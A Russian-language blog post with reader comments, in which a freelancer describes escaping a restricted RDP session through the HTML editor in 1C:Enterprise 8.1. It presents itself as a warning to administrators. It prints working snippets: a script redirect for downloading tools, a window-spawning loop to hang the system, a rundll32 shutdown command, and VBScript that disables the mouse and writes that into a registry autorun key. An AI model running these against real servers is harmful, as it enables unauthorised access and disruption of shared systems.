Взлом сервера с помощью 1С:Предприятие 8.1

Работал с клиентом по rdp. Ночью, конечно же. Как это обычно бывает у фрилансера: кидают на мыло вопросы, дают логин и пароль - сиди, разбирайся до утра, почему что-то не проводится, проводится не так, не попадает в нужный отчет...

Взлом - это углубленное изучение (с)

Работал с клиентом по rdp. Ночью, конечно же. Как это обычно бывает у фрилансера: кидают на мыло вопросы, дают логин и пароль - сиди, разбирайся до утра, почему что-то не проводится, проводится не так, не попадает в нужный отчет...

Все бы было хорошо, но в этот раз второпях выделили мне не того пользователя, не с правами администратора, а с правами какого-то удаленного оператора, и передо мной открылся по максимуму урезанный интерфейс «восьмерки», без возможности смены. Свертываю 1С – вижу абсолютно пустой рабочий стол, даже кнопка «Пуск» отсутствует. Сразу видно, сисадмин постарался, чтобы этот самый «удаленный оператор» не лез куда ему не нужно, не смотрел, что не нужно, и кроме пары рабочих документов в 1С ничего не мог открыть. Но мне-то нужно! Нужен конфигуратор, например. Даже – не конфигуратор: достаточно «прощупать» базу собственным отчетом, который бы выводил то, что мне нужно, в табло. Но вот вопрос: как его забросить на компьютер, где сделано все возможное, чтобы этого не допустить?

Все гениальное возникает на стыке технологий. Впрочем, и абсурдное тоже. Интуитивно тыкаю кнопку «Файл» в меню 1С – единственное место на экране, где хоть что-то есть. Вижу пункт «Новый», вижу в списке среди прочего html-документ…

Решил попробовать: вдруг разработчики 1С таки оставили возможность «пошалить». Перехожу к закладке «Текст», стираю всю сгенерированную там муть, и пишу простенький код:

<html><head>
<script language=javascript>
alert("Hello, world");
</script>
</head><body></body></html>

Затаив дыхание, щелкаю по просмотру… На экране появляется веселое окошечко с приветливым заголовком Microsoft Internet Explorer. Ну надо же! А я и не надеялся…

Ну чем Explorer с включенными скриптами - не лазейка на закрытый компьютер через rdp? При желании, я его теперь даже отформатирую удаленно!

Но форматировать пока рано: нужно закинуть туда всего лишь свой отчетик. Для этого использую мой любимый файлообменник, а в открытом для смелых идей компоновщике web страниц вместо жизнерадостного алерта с «хелловорлдом» пишу более претенциозное: document.location=”http://www.webfile.ru”; Жму просмотр, забираю скинутый только что свой отчет, сохраняю на рабочем столе для разнообразия. Не люблю пустующих рабочих столов… ;)

К счастью, в интерфейсе удаленного оператора работа с внешними отчетами была не закрытой, и я скоро вывожу в табло те данные по регистрам, которые меня интересуют, а параллельно работает изощренная фантазия...

Что мешает таким же образом, через файлообменник кинуть на удаленный, закрытый от всего (почти от всего) компьютер, скажем, Total Comander, настроить в нем ftp, найти их базу и выгрузить куда-нибудь? Дома-то работать сподручнее! Конечно, только если это – сервер. А если не сервер, то значит, там есть сеть, а в сети тоже можно найти что-нибудь интересное…

Впрочем, вместо тотала можно забросить и что-то более веселенькое, да все, что угодно! Забросить и запустить прямо с рабочего стола, например, собственную программу, работающую с реестром… А можно и не с рабочего стола, а прямо из эксплорера, благо, он сам дает возможность не оставлять следов, когда спрашивает по поводу exe-файла, сохранить его, или запустить… Ну чем не взлом?

Кульминацией всего было то, что я вспомнил про свою переписку когда-то с одним хаккером, и про его восхищенные излияния про возможность использования в эксплорере разных ole-объектов, например, вот этот: ActiveXObject("Scripting.FileSystemObject"); Зачем, спрашивается, коммандер, когда есть такое…

Кстати, очень легко можно было бы этот комп завесить, если бы на то подвернулся повод. Как, спрашивается, проще всего завесить Windows – если не созданием этих самых windows? Для этого, в полюбившемся нам компоновщике меняем вторично содержимое нашего скрипта, и вместо window.location ставим:

for(var k=0; k<10000; k++)
window.open("about:blank");

Попробуйте у себя ради прикола, конечно, снизив число в цикле хотя бы до 5…

Но поговорим еще о скриптах. Поскольку могучий Эксплорер поддерживает и WBScript, то ни что не мешает отправить сервак на перезагрузку, если незадачливый работодатель сделал вас всего лишь удаленным оператором. Понятно, что такая процедура – весьма не желательна в разгар рабочего дня, когда на сервере висит куча других удаленных операторов и не только…

ExitWindows, может, в XP и не сработает, а вот rundll32 krnl386.exe,exitkernel должен :)

Но не будет столь экстримичны, для начала, ограничимся запретом мыши на сервере:

<script language="vbscript">
<!--
Set Shell=CreateObject("WScript.Shell")
Shell.Run("rundll32 mouse,disable")
-->
</script>

А если вы - приверженец старой школы, и считаете мышь вообще вредной ошибкой в истории компьютеров, то запретите ее навечно, прописав это в реестр с помощью того же VB! 

WshShell.RegWrite"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesMad", "rundll32 mouse,disable"

Конечно, делать я ничего такого не стал, а клиенту утром сообщил, что их сисадмину стоит серьезно обеспокоиться. Собственно, и сюда публикую только для того, чтобы коллеги, занимающиеся администрированием серверов 1С, учли подобную лазейку и предприняли необходимые меры.

Личный сайт автора статьи: http://www.belkamag.ru/

Комментарии

20
  • Олег
    // Много чего из того что можно было запретить очевидно не стал запрещать.
    Угу. Просто без 1С оно вроде все было не опасно. О том и речь :)
  • Pugalter
    Ну конечно, админ дурак, а виновата 1С.... жжоте, аффтор
    Вилка тоже опасна для жизни, если тыкать в глаз, а не в котлету.
  • Олег
    Смешно видеть невнимательность. Где ты найдешь IE без 1С, и как создашь файл на раб. столе? Смотри "начальные условия эксперимента" ;)